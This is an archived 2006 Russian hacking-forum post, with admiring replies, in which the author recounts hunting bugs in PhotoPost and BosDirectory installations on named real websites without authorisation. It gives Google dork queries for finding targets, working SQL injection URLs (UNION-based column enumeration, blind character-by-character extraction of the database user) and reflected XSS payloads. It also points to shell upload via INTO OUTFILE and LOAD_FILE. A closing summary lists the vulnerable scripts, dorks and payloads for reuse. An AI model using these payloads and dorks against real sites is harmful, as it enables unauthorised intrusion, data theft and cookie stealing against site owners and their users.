PDA

Просмотр полной версии : Часть 2. Записки охотника (теперь за багами).


1ten0.0net1
10.11.2006, 20:46
Вообщем, день сразу начался здорово - во-первых, я наконец-то поспал хоть 6 часов за последние трое суток.
Во-вторых, идеально пообщался с весьма интересной особой, к которой я испытываю неподдельный интерес.
Но я не об этом. А о том, как я искал баги, и что нашёл.

Усевшись за стол, я задумался - "Если уж везет, то во всем."
И везде. И решил проверить рапространится ли моя удача в интернете.
Заруливаю на Google, забиваю запрос (в этот раз решил соригинальничать немного - попробовал указать сразу две переменных).
Запрос вернул много сайтов, но они мне не понадобились, ибо уже на втором сайте вместо ожидаемого инклуда я получил "неожидаемую" SQL инъекцию (не сразу, само собой, а минуты через две, т. к. сайт мне приглянулся и я решил на нём потестировать навыки (не ломателя, а поисковика)):

_http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&=

Остальные ссылки буду давать через POST, привыкайте - к этому, это очень полезно и много безопаснее.

Скрипт в ответ громко выгугался словами:

MySQL error reported!

Сама перменная шла в запросе после оператора LIKE
внутри условия AND. Вообщем, проще показать:
AND (user LIKE '%'%') ORDER BY

Ладно, подумал я. Мне есть что ответить. Ответ выглядел так:

_http://www.sophoto.cn/photopost/showgallery.php
POST:cat=-501+from+photos+WHERE%20approved='1'+union+select+ 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&=

(Кол-во столбцов можно было узнать по выводу ошибки)

Далее, я попробовал продолжить запрос так, как будто бы никакой ошибки нет:

http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=%')+and(1=1)%20ORDER%20BY%20disporder,lastpos t%20DESC/*&=

Ошибки и впрямь не выпало, а это уже дало мне основания думать, что magic_quotes=Off, то есть кавычки модно будет попробовать, например, для заливки шелла при помощи INTO OUTFILE, ну, вообщем, Вы в курсе.

Далее я осознал, что LIMIT не ORDER )) и попробовал заюзать UNION.

_http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=no_name%')+union%20select%201,USER(),3,4,5,6, 7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&=

Никаких цифр я не увидел, тем более, - имени юзера, по которым сайт общался с БД.

Ну ладно, будем перебирать посимвольно (никогда не юзайте скрипты! - чтобы понять ценность баги, над ней нужно попотеть)).

http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=%')+and((ascii(lower(substring(USER(),1,1)))% 3E200))/*&=

Вообщем, не помню вернуло ли оно истину, но помню, что ..

И тогда я вспылил..... (с) )))

Нет, на самом деле, я в очередной раз задумался, постучал пальцами по столу и пришел к выводу о необходимости поиска другой аналогичной баги, но с более удачным выводом результатов. Само собой, бага нашлась, ведь то был мой счастливый день, да и баги по одиночке не ходят. )

Думаете сейчас я найду багу, через которую залбю шелл? Нет. Я нашел еще один бажный параметр с именем cat (не от слова кот, а от слова каталог)):

http://www.sophoto.cn/photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+ 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&=


В этом случае ошибки явно не выкидывало, как впрочем не выкидывало ничего вообще. Blind, вообщем.

"Плохой сайт какой-то, неадекватный!" - подумал я. Потом посмотрел вниз страницы и увидел надпись:

Powered by Vbimage.


Что за VB? Visual Basic что ли? )
Удивило, что отсутсвовала версия - но так бывает, когда администраторы сайтов пытаются спрятать свои дырки ) , при этом грубо нарушая авторские права.
"Вот это и будет нашей зацепкой", - решил я.
In da Google:
powered Vbimage

Не помню точного ответа гугля (хотя дело былоо вчера), но кажется порядка трех страниц.
Побродив по страницам, я заметил 2 вещи:
данный скрипт либо идет вместе с vbulletin, как мод, либо лежит где-нить недалеко от папки /photopost/ либо имела надпись Powered by Photopost в титле..

Что за photopost такой? хорошо, что не photoget.
Проверим:
inurl:photopost inurl:name=

Скриптов было достаточно много, среди них в том числе, во главе стоял сайт разработчика данного скрипта. Его мы тоже потестим. Попозже. Сейчас нужно выяснить какие версии есть уязвимы.
На одном из сайтов, на котором работала данная уязвимость в титле я увидел Powered by PhotoPost 4.7.
Ага, надо попробовать:
intitle: Powered by PhotoPost 4.7
А еще на всякий случай просто:
Powered by PhotoPost 4.7

Первой страницей, которую вернул скрипт была:
photo.rol.ru/showphoto.php?photo=2640&password=0&sort=1&cat=500

"Хех."", - подумал я и начал менять параметры.

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=&name='&=

Но ничего не вышло. Но справделивость всегда существует, да и день сегодня счастливый, поэтому кое-что я все же нашел. Конкретно - две XSS. А попробую-ка я не SQL, а XSS причем для того же параметра:

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=&name=%22%3E%3Ch1%3EZdes%20mogla%20bit%20washa%20re klama.%20Ili%20sniffer%20=)%3C/h1%3E&=

Ну... не все так плохо! Особенно, учитывая что в домене rol.ru существет весьма популярная почта с WEB-интерфейсом. А вдруг админы профильтруют переменную? Нужно подстраховаться.

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=%22%3E%3Ch1%3Estraxowka numer 1%3C/h1%3E&name=&=

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=%22%3E%3Ch1%3EN2%3C/h1%3E&what=&name=&=

В соседнем скрипте тоже была бага:
_http://photo.rol.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EBug%20here%3C/h2%3E&password=&sort=1&cat=&page=1

Вообщем, я думаю понятно, что за скрипты там стоят. Кстати, у меня вот руки не дошли закачать фотку с именем <script>alert()</script>. Но, имхо, активные XSS'ки там тоже в ходу.

Таксс.... А ведь уязвимость может быть и на других сайтах! Наведаемся к старым друзьям:

_http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=%22%3E%3Ch1%3EFrom%201ten0.0net1%20with%20love% 3C/h1%3E&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=&=

Опаньки! Еще и XSS.
Тут я всерьез задумался на степенью кривизны творцов данного чуда. Пойдем к ним в гости.

В титульной части сайта было написано следующее:
PhotoPost PHP Photo Gallery With vBulletin and Other Forum Integration

Ога.... Я думаю понятно, насколько мне повезло - я имею ввиду, что сам скрипт photopost чаще всего как написано, будет рядом с форумами. А это значит что? Это значит, что даже если при помощи SQL ничего не поучится сделать с форумом, то куи утащить будет вполне реально. Как бы найти примерчик...
А далеко ходить не пришлось:
PhotoPost Sites In Action
И ниже ссылочка:

_http://www.photopost.com/action/index.php?cat_id=5'&pg=4&sort=date&sort_dir=a


как выснилсось, на большинстве указанных там сайтов, стоят новые версии PhotoPost'a. Жаль. Ладно потестируем сайт создателей. Долго тестиовать не пришлось: мало того, что они забоялись пользоваться своим творением, так еще пользовались чужим дырявым:

_http://www.photopost.com/action/index.php?cat_id=1

Опускаем глаза и видим:
BosDirectory v2.50

_http://www.photopost.com/action/index.php?cat_id=5+AND(1=2)/*&pg=4&sort=date&sort_dir=a

_http://www.photopost.com/action/index.php?cat_id=5+order+by+10/*&pg=4&sort=date&sort_dir=a

Выкидывает html код. А внизу ошибку выполения запроса:
The query: SELECT category_add FROM bos_categories WHERE category_id=5 order by 10/*
The result: Unknown column '10' in 'order clause'
Ну и отлично. Колумн нужный всео один.

_http://www.photopost.com/action/index.php?cat_id=5+union+select+1/*&pg=4&sort=date&sort_dir=a

Начинаю сомневаться в своей вменяемости:
MySQL error!
The query: SELECT category_parent,category_title FROM bos_categories WHERE category_id=5 union select 1/*
The result: The used SELECT statements have a different number of columns
Ладно, предположим мне показлось (а может это новый виж SQL-инъекии - джамп injection, или на****щая инъекция ) ).
На самом деле, как я понял, там просто в запросе истинном переменная встречается несколько раз, хотя..
Вообщем не суть. Суть в том, что моей целью было найти баги и я их нашел (шеллы я уже добывал, сейчас цель другая).

Ну и наконец, проверим н бажность создателся скрипта
BosDirectory

Отольются кошке мышкины слезы - идем на сайт второго создателя. Сразу находим:
_http://www.bosdev.com/phpinfo.php
Из этого файла можно узнать полный путь к вебу, а потом, при соответствующих правах заинсертить шелл...

ищем XSS. Находим:

_http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E

Далее у меня в браузере началась вторая серия паранормалки (я трезвый был когда баги искал!):
_http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=2)/*
Все нормально, ошибок нет.
_http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=1)/*
(2 раза загрузить)

MySQL error!
The query: INSERT INTO bdir3_search_cache VALUES(2,'Anti-virus') and(1=2)/*')

Your search returned no results
Разве??

Чудеса. Жаль, то не MSSQL, смысл запроса не поменять.(

Но можно дополнить. Кстати, не знаю как Вам, а мне кажется что имя таблицы кэш там не спроста. И запросы каким-то образом кешируются, поэтомум грузить нужно по два раза.

http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(ascii(lower(substring(USER,1,8)))%3E 888)/*

Ну, и таким образом проводим инъекцию.

P. S. Кстати, скрипт сам оказался платным (49$)

Вообщем, итог всего похождения:

1) Многочисленные SQL и XSS инъекции на достаточно популярном проекте PHOTO POST. Скажу сразу - определить версии уязвимых скриптов оказалось, трудно, но уязвимы многие версии.

XSS: showphoto.php; showgallery.php
SQL: showgallery.php

Google trick:
powered Vbimage
intitle:Powered by Photopost
inurl:/photopos/


Пример:
XSS:
http://site.com/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E
SQL:
photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+ 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
Само собой, magic_quotes=Off. Но только для этой переменной, а их там, бажных достаточно.


2) Соответственно, SQL инъекция и XSS инъекции в платном скрипте BosDirectory.

XSS: скрипт search.php
SQL: скрипт index.php

Google trick:
Powered by BosDirectory
inurl:Bosdirectory

Пример:
XSS:
http://site.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EBug%20here%3C/h2%3E
SQL:
http://site.com/index.php?cat_id=5+order+by+10/*

P. P. S. я указал не все скрипты и не все бажные переменые - некоторые я упомянул в статье, некоторые даже не назвал ;-). Кроме того, не стоит забывать о таких прекрасных функциях как LOAD_FILE() и INSERT INTO. Я о них почти не упомняул. А ведь они часто помогают получить шелл.

Удачи!

Всегда готов помочь, если что-то непонятно - обращайтесь.

С уважением, 1ten0.0net1.

Ch3ck
10.11.2006, 20:56
Эх... нравяться мне рассказы Андерсона на ночь... )))))) Молодец!

_GaLs_
10.11.2006, 22:20
Кульная статья. Полюбому + )

Koller
10.11.2006, 22:54
Ну что тут можно сказать...молодец...

D=P=CH= MOD=
10.11.2006, 23:15
1ten0.0net1

Респектище!

Прям зачитался))))

Zitt
11.11.2006, 00:11
как всегда захватывающе! Молодца!

limpompo
11.11.2006, 02:02
Читал не отрываясь =)

m0le[x]
11.11.2006, 11:06
Отлично! молодец